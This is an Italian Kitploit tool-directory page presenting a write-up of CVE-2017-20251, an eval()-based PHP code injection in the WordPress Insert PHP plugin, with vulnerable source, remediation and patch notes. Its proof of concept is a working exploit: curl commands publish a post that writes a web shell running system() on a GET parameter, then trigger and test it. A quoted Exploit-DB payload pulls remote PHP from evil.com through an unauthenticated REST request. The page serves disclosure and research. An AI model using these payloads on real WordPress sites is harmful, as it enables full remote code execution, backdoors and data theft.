Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
By-Poloss..-..CVE-2017-20251 — Insert PHP Plugin PHP Code Injection | Kitploit
Strumenti/GitHubGitHub/polosss/by-poloss..-..cve-2017-20251
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubpolosss/by-poloss..-..cve-2017-20251

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

By-Poloss..-..CVE-2017-20251

Insert PHP Plugin PHP Code Injection

Vedi Repository
12 mesi faNon ancora revisionato

CVE-2017-20251: Iniezione di Codice PHP nel Plugin Insert PHP

Titolo della Vulnerabilità

Iniezione di Codice PHP Non Autenticata tramite Elaborazione di Shortcode nel Plugin Insert PHP

Informazioni di Base

CampoValore
CVE IDCVE-2017-20251
PluginInsert PHP (ora Woody Code Snippets)
Versioni Affette< 3.3.1 (testato su 1.3)
CWECWE-94 (Iniezione di Codice)
CVSS v3.19.8 (Critico)
Vettore CVSSAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
DivulgazionePubblica (Exploit-DB 41308)

Descrizione

Il plugin Insert PHP precedente alla versione 3.3.1 consente a un utente malintenzionato remoto di eseguire codice PHP arbitrario tramite una vulnerabilità di iniezione negli shortcode. Il plugin registra uno shortcode [insert_php]...[/insert_php] che valuta direttamente il contenuto all'interno dei tag dello shortcode utilizzando la funzione eval() di PHP senza alcuna sanitizzazione o validazione.

Un attaccante che può creare o modificare post (tramite REST API, XML-RPC, o con accesso da contributore/amministratore) può iniettare codice PHP arbitrario in qualsiasi pagina o post che ne renderizza il contenuto, ottenendo la piena esecuzione remota di codice sul server web.

Analisi Tecnica

Causa Principale

La vulnerabilità risiede nella funzione will_bontrager_insert_php() registrata come filtro the_content:

root@kitploit:~
// File: insert-php/insert_php.php
function will_bontrager_insert_php($content) {
    $will_bontrager_content = $content;
    preg_match_all(
        '!\[insert_php[^\]]*\](.*?)\[/insert_php[^\]]*\]!is',
        $will_bontrager_content,
        $will_bontrager_matches
    );
    $will_bontrager_nummatches = count($will_bontrager_matches[0]);
    for ($will_bontrager_i = 0; $will_bontrager_i < $will_bontrager_nummatches; $will_bontrager_i++) {
        ob_start();
        eval($will_bontrager_matches[1][$will_bontrager_i]);  // <-- VULNERABLE
        $will_bontrager_replacement = ob_get_contents();
        ob_clean();
        ob_end_flush();
        $will_bontrager_content = preg_replace(
            '/'.preg_quote($will_bontrager_matches[0][$will_bontrager_i], '/').'/',
            $will_bontrager_replacement,
            $will_bontrager_content,
            1
        );
    }
    return $will_bontrager_content;
}

add_filter('the_content', 'will_bontrager_insert_php', 9);

Punti Chiave:

  1. Il contenuto dello shortcode viene passato direttamente a eval() senza alcuna sanitizzazione
  2. Non viene eseguito alcun controllo di autenticazione o di permessi (capability)
  3. Nessuna validazione che il contenuto provenga da un post di snippet legittimo
  4. Il filtro viene eseguito con priorità 9, elaborando il contenuto prima degli altri filtri di WordPress

Vettore di Attacco

  1. Accesso Iniziale: L'attaccante crea o modifica un post con contenuto malevolo contenente lo shortcode [insert_php]
  2. Consegna: Lo shortcode viene memorizzato nel database di WordPress come contenuto del post
  3. Esecuzione: Quando un qualsiasi utente visualizza la pagina, WordPress esegue i filtri the_content
  4. Impatto: eval() esegue codice PHP arbitrario sul server

Condizioni per lo Sfruttamento

  • Sito WordPress con il plugin Insert PHP versione < 3.3.1 installato e attivato
  • L'attaccante deve avere la capacità di creare o modificare post (ruolo di contributore o superiore)
  • In WordPress < 4.7, la REST API consentiva la creazione di post non autenticata (consentendo una RCE completa non autenticata)
  • In WordPress >= 4.7, è richiesta l'autenticazione per la creazione di post tramite REST API

Impatto

Severità: Critica

Piena esecuzione remota di codice (RCE) sul server web:

  • Eseguire codice PHP arbitrario sul server
  • Leggere/scrivere qualsiasi file accessibile all'utente del server web
  • Accedere alle credenziali del database da wp-config.php
  • Installare web shell o backdoor
  • Effettuare pivot verso altri sistemi
  • Compromissione completa di riservatezza, integrità e disponibilità

PoC - Comandi Curl

Passo 1: Creare un Post con Shortcode Malevolo (Autenticato)

root@kitploit:~
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
  -H "Content-Type: application/json" \
  -u "USERNAME:APPLICATION_PASSWORD" \
  -d '{
    "title": "Malicious Post",
    "content": "[insert_php]file_put_contents(\"/var/www/html/shell.php\",\"<?php system(\\$_GET[\\\"cmd\\\"]); ?>\");[/insert_php]",
    "status": "publish"
  }'

Passo 2: Visitare il Post per Attivare l'Esecuzione del Codice

root@kitploit:~
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"

Passo 3: Verificare l'Esecuzione del Codice

root@kitploit:~
curl -s -k "https://yorbit7.ddev.site/shell.php?cmd=id"

Alternativa: Test Diretto di eval() (Prova Semplice)

root@kitploit:~
# Create post
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
  -H "Content-Type: application/json" \
  -u "USERNAME:APPLICATION_PASSWORD" \
  -d '{"title":"RCE Test","content":"[insert_php]file_put_contents(\"/var/www/html/rce_poc.txt\",\"RCE-SUCCESS\");[/insert_php]","status":"publish"}'

# Trigger
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"

# Verify
cat /var/www/html/rce_poc.txt  # Should output: RCE-SUCCESS

Riferimento Exploit-DB (Non Autenticato, WP < 4.7)

Per le versioni più vecchie di WordPress in cui la REST API consentiva la creazione di post non autenticata:

root@kitploit:~
curl -s -k -X POST "/wp-json/wp/v2/posts/1234" \
  -H "Host: target.com" \
  -H "Content-Type: application/json" \
  -d '{
    "id": "1234ffff",
    "title": "by Hacker",
    "content": "[insert_php]include(\"http://evil.com/file.php\");[/insert_php]"
  }'

Esempio di Risposta

Quando lo shortcode vulnerabile viene elaborato, il codice PHP al suo interno viene eseguito da eval(). Per il test del file marcatore:

root@kitploit:~
Request: Create post with [insert_php]file_put_contents("marker.txt","SUCCESS");[/insert_php]
Response: Post created successfully

Request: GET /?p=POST_ID
Response: Page renders, PHP code executes, marker.txt created on server

Verification:
$ cat /var/www/html/marker.txt
SUCCESS

Rimedio Consigliato

  1. Immediato: Disinstallare il plugin Insert PHP o aggiornarlo alla versione 3.3.1 o successiva
  2. Plugin Alternativo: Utilizzare un plugin moderno per snippet di codice come WPCode che utilizza contesti di esecuzione sicuri
  3. Se È Necessario Usare Snippet PHP: Assicurarsi che solo amministratori fidati possano creare/modificare post e valutare la disattivazione della REST API per i non amministratori
  4. Indurimento: Impostare la costante DISALLOW_UNFILTERED_HTML (anche se questo non mitiga completamente il problema)

Analisi della Patch

La versione patchata (3.3.1+):

  • Rinomina lo shortcode da [insert_php] a [wbcr_php_snippet]
  • Rimuove l'uso diretto di eval() a favore di un contesto di esecuzione sicuro
  • Aggiunge controlli di autenticazione sugli endpoint della REST API
  • Implementa la validazione dell'ID dello snippet prima dell'esecuzione

Riferimenti

  • Exploit-DB 41308
  • NVD CVE-2017-20251
  • Pagina del Plugin WordPress
  • CWE-94: Iniezione di Codice
Scarica lo strumento